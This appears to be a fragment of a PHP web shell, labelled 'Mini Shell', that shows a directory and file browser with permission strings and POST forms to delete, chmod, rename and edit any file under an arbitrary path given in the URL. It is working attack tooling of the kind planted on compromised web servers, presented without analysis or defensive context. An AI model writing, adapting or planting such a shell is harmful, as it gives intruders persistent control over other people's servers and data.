echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="green">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="green">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<br /><font color="red"></font><font color="red">Mini Shell</font>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>